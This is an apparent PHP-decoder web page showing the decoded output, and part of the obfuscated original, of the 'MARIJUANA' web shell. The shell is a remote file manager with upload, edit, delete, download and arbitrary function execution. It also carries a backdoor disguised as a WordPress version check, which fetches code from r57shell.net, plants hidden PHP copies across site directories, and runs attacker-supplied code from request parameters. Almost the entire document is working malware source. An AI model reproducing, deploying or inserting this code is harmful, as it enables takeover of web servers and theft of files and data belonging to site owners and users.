Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

?><?php goto Gnqhb; Fb98K: echo $_SERVER["\x53\x45\122\x56\105\x52\137\x53\x4f\106\x54\1..

Decoded Output download

<?  ?><?php 
 goto Gnqhb; Fb98K: echo $_SERVER["SERVER_SOFTWARE"]; goto ygPUl; Pjzmp: for ($i = 0; $i < $___; $i++) { $GNJ[] = uhex($Array[$i]); } goto aIGcs; P6P6i: if (isset($_FILES["n"])) { goto X2mrp; X2mrp: $z = $_FILES["n"]["name"]; goto Sx8lo; clA6Z: for ($i = 0; $i < $r; $i++) { if ($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) { echo $f; } else { echo $g; } } goto LklYq; Sx8lo: $r = count($z); goto clA6Z; LklYq: } goto F386i; ubzjU: function rec($j) { goto RUDjI; YtUfQ: if ($GNJ[8]($j)) { array_map("rec", glob($j . DIRECTORY_SEPARATOR . "{,.}*", GLOB_BRACE | GLOB_NOSORT)); $GNJ[35]($j); } else { $GNJ[10]($j); } goto mVZDB; tXHuZ: if (trim(pathinfo($j, PATHINFO_BASENAME), ".") === '') { return; } goto YtUfQ; RUDjI: global $GNJ; goto tXHuZ; mVZDB: } goto hlFSe; F386i: echo " </div> "; goto YP3Pa; ZRg2h: if (isset($_GET["1"])) { echo $f; } elseif (isset($_GET["0"])) { echo $g; } else { NULL; } goto BgSFN; eMXaz: echo " <br /> <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT :</b> "; goto Fb98K; BgSFN: echo " <script> $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})}); </script> </body> </html> "; goto ubzjU; Em0Us: function uhex($y) { goto aZjCj; VKi1X: return $n; goto Ot56P; aZjCj: $n = ''; goto zWwGJ; zWwGJ: for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } goto VKi1X; Ot56P: } goto atPog; aFqD5: $b_ = "</th> </tr> </thead> <tbody> <tr> <td></td> </tr> <tr> <td class="x">"; goto xohzb; fyiKJ: $d_ = "<br /> <br /> <input type="submit" class="w" value="&nbsp;OK&nbsp;" /> </form>"; goto RocYR; wnZGJ: $f = $o_[0] . "OK!" . $o_[1]; goto oQleD; AZEO5: ob_start(); goto Lx6vj; YwbCU: $___ = count($Array); goto Pjzmp; AepB3: if (isset($_GET["g"])) { goto kwKFJ; Tw7KF: $GNJ[37](uhex($_GET["g"])); goto fZmxq; dQKBb: header("Content-Type: application/octet-stream"); goto HueuY; O8ihA: header("Content-Length: " . $GNJ[34](uhex($_GET["g"]))); goto XvoY5; XvoY5: header("Content-disposition: attachment; filename="" . uhex($_GET["g"]) . """); goto Tw7KF; kwKFJ: $GNJ[38]($GNJ[9]); goto dQKBb; HueuY: header("Content-Transfer-Encoding: Binary"); goto O8ihA; fZmxq: } goto ZHcJJ; RocYR: if (isset($_GET["s"])) { echo $a_ . uhex($_GET["s"]) . $b_ . " <textarea readonly="yes">" . $GNJ[15]($GNJ[6](uhex($_GET["s"]))) . "</textarea> <br /> <br /> <input onclick="location.href='?d=" . $_GET["d"] . "&e=" . $_GET["s"] . "'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" /> " . $c_; } elseif (isset($_GET["y"])) { goto BauDe; frbsh: echo "</textarea> " . $c_; goto NAFOY; BauDe: echo $a_ . "REQUEST" . $b_ . " <form method="post"> <input class="x" type="text" name="1" />&nbsp;&nbsp; <input class="x" type="text" name="2" /> " . $d_ . " <br /> <textarea readonly="yes">"; goto bmXfW; bmXfW: if (isset($_POST["2"])) { echo $GNJ[15](dre($_POST["1"], $_POST["2"])); } goto frbsh; NAFOY: } elseif (isset($_GET["e"])) { echo $a_ . uhex($_GET["e"]) . $b_ . " <form method="post"> <textarea name="e" class="o">" . $GNJ[15]($GNJ[6](uhex($_GET["e"]))) . "</textarea> <br /> <br /> <span class="w">BASE64</span> : <select id="b64" name="b64"> <option value="0">NO</option> <option value="1">YES</option> </select> " . $d_ . " " . $c_ . " <script> $("#b64").change(function() { if($("#b64 option:selected").val() == 0) { var X = $("textarea").val(); var Z = atob(X); $("textarea").val(Z); } else { var N = $("textarea").val(); var I = btoa(N); $("textarea").val(I); } }); </script>"; if (isset($_POST["e"])) { goto kSw2I; TPGCr: $fp = $GNJ[17](uhex($_GET["e"]), "w"); goto kILge; vVuyD: $GNJ[19]($fp); goto eVx0a; kSw2I: if ($_POST["b64"] == "1") { $ex = $GNJ[7]($_POST["e"]); } else { $ex = $_POST["e"]; } goto TPGCr; kILge: if ($GNJ[18]($fp, $ex)) { OK(); } else { ER(); } goto vVuyD; eVx0a: } } elseif (isset($_GET["x"])) { rec(uhex($_GET["x"])); if ($GNJ[26](uhex($_GET["x"]))) { ER(); } else { OK(); } } elseif (isset($_GET["t"])) { echo $a_ . uhex($_GET["t"]) . $b_ . " <form action="" method="post"> <input name="t" class="x" type="text" value="" . $GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))) . ""> " . $d_ . " " . $c_; if (!empty($_POST["t"])) { $p = $GNJ[33]($_POST["t"]); if ($p) { if (!$GNJ[25](uhex($_GET["t"]), $p, $p)) { ER(); } else { OK(); } } else { ER(); } } } elseif (isset($_GET["k"])) { echo $a_ . uhex($_GET["k"]) . $b_ . " <form action="" method="post"> <input name="b" class="x" type="text" value="" . $GNJ[22]($GNJ[23]("%o", $GNJ[24](uhex($_GET["k"]))), -4) . ""> " . $d_ . " " . $c_; if (!empty($_POST["b"])) { goto RF5Yg; hD1tg: for ($i = strlen($x) - 1; $i >= 0; --$i) { $t += (int) $x[$i] * pow(8, strlen($x) - $i - 1); } goto fEeAF; ic0MM: $t = 0; goto hD1tg; RF5Yg: $x = $_POST["b"]; goto ic0MM; fEeAF: if (!$GNJ[12](uhex($_GET["k"]), $t)) { ER(); } else { OK(); } goto C1cdX; C1cdX: } } elseif (isset($_GET["l"])) { echo $a_ . "+DIR" . $b_ . " <form action="" method="post"> <input name="l" class="x" type="text" value=""> " . $d_ . " " . $c_; if (isset($_POST["l"])) { if (!$GNJ[11]($_POST["l"])) { ER(); } else { OK(); } } } elseif (isset($_GET["q"])) { if ($GNJ[10](__FILE__)) { goto Bnpuf; ythk7: header("Location: " . basename($_SERVER["PHP_SELF"]) . ''); goto xgOcL; xgOcL: exit; goto imDrP; Bnpuf: $GNJ[38]($GNJ[9]); goto ythk7; imDrP: } else { echo $g; } } elseif (isset($_GET["n"])) { echo $a_ . "+FILE" . $b_ . " <form action="" method="post"> <input name="n" class="x" type="text" value=""> " . $d_ . " " . $c_; if (isset($_POST["n"])) { if (!$GNJ[25]($_POST["n"])) { ER(); } else { OK(); } } } elseif (isset($_GET["r"])) { echo $a_ . uhex($_GET["r"]) . $b_ . " <form action="" method="post"> <input name="r" class="x" type="text" value="" . uhex($_GET["r"]) . ""> " . $d_ . " " . $c_; if (isset($_POST["r"])) { if ($GNJ[26]($_POST["r"])) { ER(); } else { if ($GNJ[27](uhex($_GET["r"]), $_POST["r"])) { OK(); } else { ER(); } } } } elseif (isset($_GET["z"])) { goto OLmKt; piV_6: if ($res === TRUE) { goto T1tOF; Ak7wZ: $zip->close(); goto m9MDX; m9MDX: OK(); goto sZG5S; T1tOF: $zip->extractTo(uhex($_GET["d"])); goto Ak7wZ; sZG5S: } else { ER(); } goto xvL5S; OLmKt: $zip = new ZipArchive(); goto FerRG; FerRG: $res = $zip->open(uhex($_GET["z"])); goto piV_6; xvL5S: } else { goto UfKjy; ZVQ3g: echo $h; goto Jfi_E; HfLpy: echo "</tbody> <tfoot> <tr> <th class="et"> <a class="ajx" href="?d=" . hex($e) . "&y">REQUEST</a> <a href="?d=" . hex($e) . "&q">EXIT</a> </th> <th class="et" width="11%"></th> <th class="et" width="17%"></th> <th class="et" width="17%"></th> <th class="et" width="11%"></th> </tr> </tfoot> </table>"; goto e1y2c; D01qf: $h = ''; goto xE_84; UfKjy: echo "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th width="44%">[ NAME ]</th> <th width="11%">[ SIZE ]</th> <th width="17%">[ PERM ]</th> <th width="17%">[ DATE ]</th> <th width="11%">[ ACT ]</th> </tr> </thead> <tbody> <tr> <td> <a class="ajx" href="?d=" . hex($d) . "&n">+FILE</a> <a class="ajx" href="?d=" . hex($d) . "&l">+DIR</a> </td> </tr> "; goto D01qf; xE_84: $j = ''; goto RSgWt; RSgWt: $w = $GNJ[13]($d); goto Dz0hi; Jfi_E: echo $j; goto HfLpy; Dz0hi: if ($GNJ[28]($w) || $GNJ[29]($w)) { foreach ($w as $c) { goto T08aN; mSlQY: if (!$GNJ[30]($c, ".zip")) { $zi = ''; } else { $zi = "<a href="?d=" . hex($e) . "&z=" . hex($c) . "">U</a>"; } goto mGRjD; S73wg: if ($s >= 1024) { $s = round($s / 1024, 2) . " MB"; } else { $s = $s . " KB"; } goto kLl3f; mGRjD: if ($GNJ[31]("{$d}/{$c}")) { $o = ''; } elseif (!$GNJ[32]("{$d}/{$c}")) { $o = " h"; } else { $o = " w"; } goto VKBJP; odnyT: $s = round($s, 3); goto S73wg; T08aN: $e = $GNJ[14]("\", "/", $d); goto mSlQY; kLl3f: if ($c != "." && $c != "..") { $GNJ[8]("{$d}/{$c}") ? $h .= "<tr class="r"> <td> <i class="far fa-folder m"></i> <a class="ajx" href="?d=" . hex($e) . hex("/" . $c) . "">" . $c . "</a> </td> <td class="x"> dir </td> <td class="x"> <a class="ajx" . $o . "" href="?d=" . hex($e) . "&k=" . hex($c) . "">" . x("{$d}/{$c}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($e) . "&t=" . hex($c) . "">" . $GNJ[20]("Y-m-d H:i", $GNJ[21]("{$d}/{$c}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($e) . "&r=" . hex($c) . "">R</a> <a href="?d=" . hex($e) . "&x=" . hex($c) . "">D</a> </td> </tr> " : ($j .= "<tr class="r"> <td> <i class="far fa-file m"></i>&thinsp; <a class="ajx" href="?d=" . hex($e) . "&s=" . hex($c) . "">" . $c . "</a> </td> <td class="x"> " . $s . " </td> <td class="x"> <a class="ajx" . $o . "" href="?d=" . hex($e) . "&k=" . hex($c) . "">" . x("{$d}/{$c}") . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($e) . "&t=" . hex($c) . "">" . $GNJ[20]("Y-m-d H:i", $GNJ[21]("{$d}/{$c}")) . "</a> </td> <td class="x"> <a class="ajx" href="?d=" . hex($e) . "&r=" . hex($c) . "">R</a> <a class="ajx" href="?d=" . hex($e) . "&e=" . hex($c) . "">E</a> <a href="?d=" . hex($e) . "&g=" . hex($c) . "">G</a> " . $zi . " <a href="?d=" . hex($e) . "&x=" . hex($c) . "">D</a> </td> </tr> "); } goto hQ8fa; VKBJP: $s = $GNJ[34]("{$d}/{$c}") / 1024; goto odnyT; hQ8fa: } } goto ZVQ3g; e1y2c: } goto rEn5w; DQkWW: echo basename($_SERVER["PHP_SELF"]); goto nnAd1; LGTFh: echo $GNJ[0](); goto eMXaz; rDZYo: ini_set("display_errors", FALSE); goto sttNB; vuysa: echo " <br /> <i class="far fa-folder"></i> "; goto Sl3ma; L3rjx: echo $GNJ[1](); goto vuysa; rEn5w: echo " </article> <footer class="x"> &copy;TheAlmightyZeus </footer> "; goto ZRg2h; k3DI8: function ER() { goto i2wid; Y4tOS: exit; goto EV7_b; i2wid: global $GNJ, $d; goto Zf7XZ; Zf7XZ: $GNJ[38]($GNJ[9]); goto VdrIU; VdrIU: header("Location: ?d=" . hex($d) . "&0"); goto Y4tOS; EV7_b: } goto jILLV; mydps: foreach ($k as $m => $l) { goto CZ3h1; SRR_U: for ($i = 0; $i <= $m; $i++) { echo hex($k[$i]); if ($i != $m) { echo "2f"; } } goto vQYCW; CZ3h1: if ($l == '' && $m == 0) { echo "<a class="ajx" href="?d=2f">/</a>"; } goto cBV8s; vQYCW: echo "">" . $l . "</a>/"; goto JZ32R; cBV8s: if ($l == '') { continue; } goto NRaKu; NRaKu: echo "<a class="ajx" href="?d="; goto SRR_U; JZ32R: } goto yd79p; D6DXU: echo $_SERVER["SERVER_ADDR"]; goto rHIAk; WPZ0c: error_reporting(0); goto rDZYo; atPog: function OK() { goto R0yDs; Dwzn7: $GNJ[38]($GNJ[9]); goto yZdo7; eX_ed: exit; goto uB2sM; yZdo7: header("Location: ?d=" . hex($d) . "&1"); goto eX_ed; R0yDs: global $GNJ, $d; goto Dwzn7; uB2sM: } goto k3DI8; giC3Y: function hex($n) { goto RU8Yp; Tfrm6: for ($i = 0; $i < strlen($n); $i++) { $y .= dechex(ord($n[$i])); } goto RRMTw; RRMTw: return $y; goto xWZOc; RU8Yp: $y = ''; goto Tfrm6; xWZOc: } goto Em0Us; aIGcs: echo " <!DOCTYPE html> <html dir="auto" lang="en-US"> <head> <meta charset="UTF-8"> <meta name="robots" content="NOINDEX, NOFOLLOW"> <title>MARIJUANA</title> <link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" /> <link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css"> <script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script> </head> <body> <header> <div class="y x"> <a class="ajx" href=""; goto DQkWW; oQleD: $g = $o_[0] . "ER!" . $o_[1]; goto P6P6i; E811H: $k = $GNJ[4]("/(\\|\/)/", $d); goto mydps; YP3Pa: $a_ = "<table cellspacing="0" cellpadding="7" width="100%"> <thead> <tr> <th>"; goto aFqD5; Gnqhb: header("X-XSS-Protection: 0"); goto AZEO5; rHIAk: echo " <i class="fas fa-link"></i> <br /> <br /> <form method="post" enctype="multipart/form-data"> <label class="l w"> <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD </label>&nbsp; </form> "; goto ITHsV; Lx6vj: set_time_limit(0); goto WPZ0c; hlFSe: function dre($y1, $y2) { goto vM8G6; HN8q_: ob_start(); goto DUWVc; vM8G6: global $GNJ; goto HN8q_; DUWVc: $GNJ[16]($y1($y2)); goto lSVBF; lSVBF: return $GNJ[36](); goto uc0xH; uc0xH: } goto giC3Y; yd79p: echo " <br /> </div> <div class="u"> "; goto D6DXU; ITHsV: $o_ = ["<script>$.notify("", "", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>"]; goto wnZGJ; sttNB: $Array = ["7068705f756e616d65", "70687076657273696f6e", "6368646972", "676574637764", "707265675f73706c6974", "636f7079", "66696c655f6765745f636f6e74656e7473", "6261736536345f6465636f6465", "69735f646972", "6f625f656e645f636c65616e28293b", "756e6c696e6b", "6d6b646972", "63686d6f64", "7363616e646972", "7374725f7265706c616365", "68746d6c7370656369616c6368617273", "7661725f64756d70", "666f70656e", "667772697465", "66636c6f7365", "64617465", "66696c656d74696d65", "737562737472", "737072696e7466", "66696c657065726d73", "746f756368", "66696c655f657869737473", "72656e616d65", "69735f6172726179", "69735f6f626a656374", "737472706f73", "69735f7772697461626c65", "69735f7265616461626c65", "737472746f74696d65", "66696c6573697a65", "726d646972", "6f625f6765745f636c65616e", "7265616466696c65", "617373657274"]; goto YwbCU; Sl3ma: if (isset($_GET["d"])) { $d = uhex($_GET["d"]); $GNJ[2](uhex($_GET["d"])); } else { $d = $GNJ[3](); } goto E811H; xohzb: $c_ = "</td> </tr> </tbody> </table>"; goto fyiKJ; nnAd1: echo ""> MARIJuANA </a> </div> <div class="q x w"> &#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212; </div> </header> <article> <div class="i"> <i class="far fa-hdd"></i> "; goto LGTFh; ygPUl: echo " <b>PHP :</b> "; goto L3rjx; jILLV: function x($c) { goto qDF22; bnC4D: $u .= $x & 0x80 ? "w" : "-"; goto BlMrG; qDF22: global $GNJ; goto mlClh; QxL5j: $u .= $x & 0x8 ? $x & 0x400 ? "s" : "x" : ($x & 0x400 ? "S" : "-"); goto Wdv20; jEVi0: $u .= $x & 0x20 ? "r" : "-"; goto FyN7Y; FyN7Y: $u .= $x & 0x10 ? "w" : "-"; goto QxL5j; BlMrG: $u .= $x & 0x40 ? $x & 0x800 ? "s" : "x" : ($x & 0x800 ? "S" : "-"); goto jEVi0; raRfv: $u .= $x & 0x2 ? "w" : "-"; goto KQsxf; JFtR9: return $u; goto LSwQX; KQsxf: $u .= $x & 0x1 ? $x & 0x200 ? "t" : "x" : ($x & 0x200 ? "T" : "-"); goto JFtR9; dDZAQ: $u .= $x & 0x100 ? "r" : "-"; goto bnC4D; mlClh: $x = $GNJ[24]($c); goto HYJaa; Wdv20: $u .= $x & 0x4 ? "r" : "-"; goto raRfv; HYJaa: if (($x & 0xc000) == 0xc000) { $u = "s"; } elseif (($x & 0xa000) == 0xa000) { $u = "l"; } elseif (($x & 0x8000) == 0x8000) { $u = "-"; } elseif (($x & 0x6000) == 0x6000) { $u = "b"; } elseif (($x & 0x4000) == 0x4000) { $u = "d"; } elseif (($x & 0x2000) == 0x2000) { $u = "c"; } elseif (($x & 0x1000) == 0x1000) { $u = "p"; } else { $u = "u"; } goto dDZAQ; LSwQX: } goto AepB3; ZHcJJ: if (!function_exists("wp_core_version_check")) { function wp_core_version_check() { goto bMqpA; FRiMn: $uri_path = $parse_url["path"]; goto Q4UzV; glSeH: $hostname = str_replace("www.", '', $_SERVER["HTTP_HOST"]); goto H25Cf; krkaA: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto K_M2d; fgJCC: $request_uri = $_SERVER["REQUEST_URI"]; goto qvWoe; K_M2d: foreach ($dirs as $d) { goto jjS3p; nnPMc: @file_put_contents($file_name, $response); goto hdJnF; hdJnF: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto GLZOF; GLZOF: foreach ($dirs as $d) { if (!@preg_match("#wp-content#", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; @file_put_contents($file_name, $response); } } goto cYvy8; jjS3p: $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; goto nnPMc; cYvy8: } goto aS1um; bMqpA: $document_file = $_SERVER["SCRIPT_FILENAME"]; goto fgJCC; GSD11: $uri_path = str_replace("/", DIRECTORY_SEPARATOR, $uri_path); goto W3xRj; W3xRj: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto glSeH; qvWoe: $parse_url = parse_url($request_uri); goto FRiMn; B2Lji: $file_path = dirname($document_file); goto GSD11; Ta2aS: if (@$_GET["slince_golden"]) { goto r1_91; Y6054: exit; goto KUomI; bV81P: if (function_exists("curl_init")) { goto kSFoK; oVNPd: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto XjK2P; HLoXs: curl_close($ch); goto OvAB1; kSFoK: $ch = curl_init(); goto iAdoZ; iAdoZ: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto oVNPd; XjK2P: $response = curl_exec($ch); goto HLoXs; OvAB1: } else { $response = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); } goto BbmHz; BbmHz: if (md5(sha1(@$_GET["is"])) == $response) { goto hLLFq; fWMih: if (@$_GET["m"]) { goto ZEV2Z; CAaVJ: $file_name_path = @$_GET["m"] . "gagal.php"; goto tDggV; ZEV2Z: if (function_exists("curl_init")) { goto n4bs1; H0Ek3: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto Jsoru; Jsoru: $response = curl_exec($ch); goto HZbXi; FZVHU: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/mini_admin.txt"); goto H0Ek3; HZbXi: curl_close($ch); goto LgREr; n4bs1: $ch = curl_init(); goto FZVHU; LgREr: } else { $response = file_get_contents("http://r57shell.net/mini_admin.txt"); } goto CAaVJ; IIyNX: echo $file_name_path; goto XS0RV; tDggV: @file_put_contents($file_name_path, $response); goto IIyNX; XS0RV: } goto tJcch; tJcch: if (@$_POST["l"]) { function basic_code_extensions($request) { goto wMxqN; E72K5: $tmpf = stream_get_meta_data($tmp); goto xRRoe; O4hJC: return $ret; goto tk6Xo; BAtH1: $ret = (include $tmpf); goto Cf5ku; wMxqN: $tmp = tmpfile(); goto E72K5; xRRoe: $tmpf = $tmpf["uri"]; goto thiMh; thiMh: fwrite($tmp, $request); goto BAtH1; Cf5ku: fclose($tmp); goto O4hJC; tk6Xo: } print_r(basic_code_extensions($_POST["l"])); } goto gsH8I; hLLFq: if (@$_GET["f"]) { print_r($_GET["f"]($_GET["c"])); } goto fWMih; gsH8I: } goto Y6054; r1_91: echo "<!-- //Silence is golden. -->"; goto bV81P; KUomI: } goto bUZVh; Q4UzV: $uri_path = dirname($uri_path); goto B2Lji; bUZVh: if (!file_exists($tmp_file)) { goto nUoEH; nUoEH: if (function_exists("curl_init")) { goto tZcnq; g2J7S: $response = curl_exec($ch); goto S0vJC; tZcnq: $ch = curl_init(); goto Y2Yg4; Y2Yg4: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto WeRvW; WeRvW: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto fRG4_; fRG4_: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto g2J7S; S0vJC: curl_close($ch); goto Wr_qA; Wr_qA: } else { goto uXHY_; pStId: $context = stream_context_create($opts); goto PXj_m; PXj_m: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto XhoQx; dvSkT: $opts = array("http" => array("header" => array("Referer: {$referer}
"))); goto pStId; uXHY_: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto dvSkT; XhoQx: } goto baoOT; vjoWM: @file_put_contents($tmp_file, $response); goto WjCqr; baoOT: @touch($tmp_file); goto vjoWM; WjCqr: } else { $response = file_get_contents($tmp_file); if (!@preg_match("#stt1#", $response)) { goto eJXZg; eJXZg: if (function_exists("curl_init")) { goto w5eKf; QZoSj: curl_close($ch); goto oYV9n; DCcuz: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto g3Plh; aWfw9: $response = curl_exec($ch); goto QZoSj; g3Plh: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto sY1Ek; sY1Ek: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto aWfw9; w5eKf: $ch = curl_init(); goto DCcuz; oYV9n: } else { goto lBFDH; ZM_W2: $opts = array("http" => array("header" => array("Referer: {$referer}
\xa"))); goto yuGut; yuGut: $context = stream_context_create($opts); goto rGKbq; rGKbq: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto MJzoM; lBFDH: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto ZM_W2; MJzoM: } goto XaJGr; XaJGr: @touch($tmp_file); goto LPeAp; LPeAp: @file_put_contents($tmp_file, $response); goto cGETA; cGETA: } } goto krkaA; H25Cf: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } goto Ta2aS; aS1um: } wp_core_version_check(); } ?>

Did this file decode correctly?

Original Code

?><?php
 goto Gnqhb; Fb98K: echo $_SERVER["\x53\x45\122\x56\105\x52\137\x53\x4f\106\x54\127\x41\x52\105"]; goto ygPUl; Pjzmp: for ($i = 0; $i < $___; $i++) { $GNJ[] = uhex($Array[$i]); } goto aIGcs; P6P6i: if (isset($_FILES["\156"])) { goto X2mrp; X2mrp: $z = $_FILES["\156"]["\x6e\141\x6d\145"]; goto Sx8lo; clA6Z: for ($i = 0; $i < $r; $i++) { if ($GNJ[5]($_FILES["\156"]["\164\155\x70\137\156\141\155\145"][$i], $z[$i])) { echo $f; } else { echo $g; } } goto LklYq; Sx8lo: $r = count($z); goto clA6Z; LklYq: } goto F386i; ubzjU: function rec($j) { goto RUDjI; YtUfQ: if ($GNJ[8]($j)) { array_map("\x72\x65\143", glob($j . DIRECTORY_SEPARATOR . "\173\x2c\x2e\175\x2a", GLOB_BRACE | GLOB_NOSORT)); $GNJ[35]($j); } else { $GNJ[10]($j); } goto mVZDB; tXHuZ: if (trim(pathinfo($j, PATHINFO_BASENAME), "\56") === '') { return; } goto YtUfQ; RUDjI: global $GNJ; goto tXHuZ; mVZDB: } goto hlFSe; F386i: echo "\x20\x3c\57\x64\x69\166\76\40"; goto YP3Pa; ZRg2h: if (isset($_GET["\x31"])) { echo $f; } elseif (isset($_GET["\60"])) { echo $g; } else { NULL; } goto BgSFN; eMXaz: echo "\40\x3c\x62\x72\40\57\76\40\74\x69\40\x63\154\141\163\x73\x3d\x22\146\x61\162\x20\x66\x61\x2d\154\x69\x67\x68\x74\x62\165\154\142\42\76\x3c\x2f\151\76\40\46\164\x68\x69\156\x73\160\x3b\46\x74\x68\x69\x6e\x73\x70\73\74\x62\76\123\x4f\x46\124\x20\72\x3c\57\x62\x3e\x20"; goto Fb98K; BgSFN: echo "\x20\74\x73\143\162\151\x70\x74\x3e\x20\44\x28\42\x2e\x61\x6a\170\x22\51\56\143\x6c\151\143\153\x28\x66\165\156\143\x74\x69\x6f\156\x28\164\51\x7b\x74\56\160\x72\145\x76\145\156\x74\104\145\146\141\x75\x6c\164\x28\x29\x3b\166\141\x72\40\145\x3d\44\x28\x74\x68\x69\163\x29\x2e\x61\x74\164\x72\x28\42\150\x72\x65\x66\42\x29\73\150\x69\x73\x74\157\x72\171\56\x70\165\x73\x68\123\164\x61\x74\145\x28\42\42\54\x22\x22\x2c\145\51\54\44\56\x67\145\164\50\x65\x2c\146\165\156\143\164\x69\x6f\156\50\x74\51\173\x24\50\42\142\x6f\144\171\x22\x29\56\150\164\155\154\50\x74\51\x7d\51\175\x29\73\x20\x3c\x2f\x73\x63\162\x69\160\x74\76\x20\x3c\x2f\142\157\144\x79\76\x20\74\x2f\150\164\x6d\154\76\x20"; goto ubzjU; Em0Us: function uhex($y) { goto aZjCj; VKi1X: return $n; goto Ot56P; aZjCj: $n = ''; goto zWwGJ; zWwGJ: for ($i = 0; $i < strlen($y) - 1; $i += 2) { $n .= chr(hexdec($y[$i] . $y[$i + 1])); } goto VKi1X; Ot56P: } goto atPog; aFqD5: $b_ = "\x3c\57\x74\x68\76\40\x3c\57\164\x72\x3e\x20\74\57\x74\x68\145\141\144\x3e\x20\74\164\x62\157\x64\x79\76\40\74\x74\162\76\40\74\x74\x64\x3e\x3c\57\x74\x64\76\x20\x3c\x2f\x74\162\x3e\x20\74\x74\162\76\40\74\164\x64\40\x63\x6c\141\163\x73\75\42\170\42\x3e"; goto xohzb; fyiKJ: $d_ = "\74\142\162\40\57\76\x20\x3c\142\x72\40\57\x3e\40\74\151\156\160\x75\x74\x20\164\171\160\x65\75\x22\x73\165\142\155\x69\x74\x22\x20\143\154\141\x73\163\75\42\167\42\x20\166\141\154\165\x65\x3d\42\x26\x6e\142\x73\x70\x3b\117\x4b\46\156\142\x73\160\73\42\x20\x2f\76\40\74\57\x66\x6f\x72\155\x3e"; goto RocYR; wnZGJ: $f = $o_[0] . "\x4f\113\41" . $o_[1]; goto oQleD; AZEO5: ob_start(); goto Lx6vj; YwbCU: $___ = count($Array); goto Pjzmp; AepB3: if (isset($_GET["\147"])) { goto kwKFJ; Tw7KF: $GNJ[37](uhex($_GET["\147"])); goto fZmxq; dQKBb: header("\x43\x6f\x6e\x74\145\156\164\x2d\x54\171\160\145\x3a\40\141\x70\160\154\x69\143\x61\x74\x69\157\156\x2f\x6f\x63\x74\145\164\x2d\x73\164\x72\x65\141\x6d"); goto HueuY; O8ihA: header("\x43\157\156\x74\145\x6e\x74\55\x4c\x65\x6e\x67\x74\x68\x3a\40" . $GNJ[34](uhex($_GET["\147"]))); goto XvoY5; XvoY5: header("\103\x6f\x6e\x74\x65\156\164\x2d\144\151\163\x70\x6f\x73\151\164\x69\157\x6e\x3a\40\141\x74\x74\141\143\x68\x6d\145\156\x74\73\40\146\151\154\x65\x6e\x61\155\x65\75\42" . uhex($_GET["\x67"]) . "\42"); goto Tw7KF; kwKFJ: $GNJ[38]($GNJ[9]); goto dQKBb; HueuY: header("\x43\x6f\156\164\145\x6e\x74\55\124\162\x61\x6e\163\146\145\162\x2d\105\156\x63\157\x64\x69\156\x67\72\40\102\151\x6e\x61\x72\x79"); goto O8ihA; fZmxq: } goto ZHcJJ; RocYR: if (isset($_GET["\x73"])) { echo $a_ . uhex($_GET["\x73"]) . $b_ . "\x20\x3c\x74\145\x78\164\x61\162\145\x61\40\x72\x65\x61\144\x6f\x6e\x6c\x79\75\x22\x79\145\x73\x22\76" . $GNJ[15]($GNJ[6](uhex($_GET["\x73"]))) . "\x3c\57\164\x65\x78\x74\x61\162\x65\x61\x3e\x20\74\142\162\40\57\76\40\x3c\142\162\40\57\76\40\74\x69\156\160\165\164\x20\x6f\x6e\143\154\151\143\x6b\75\x22\154\x6f\143\x61\x74\151\x6f\156\56\150\x72\x65\146\x3d\47\x3f\144\x3d" . $_GET["\x64"] . "\x26\145\75" . $_GET["\x73"] . 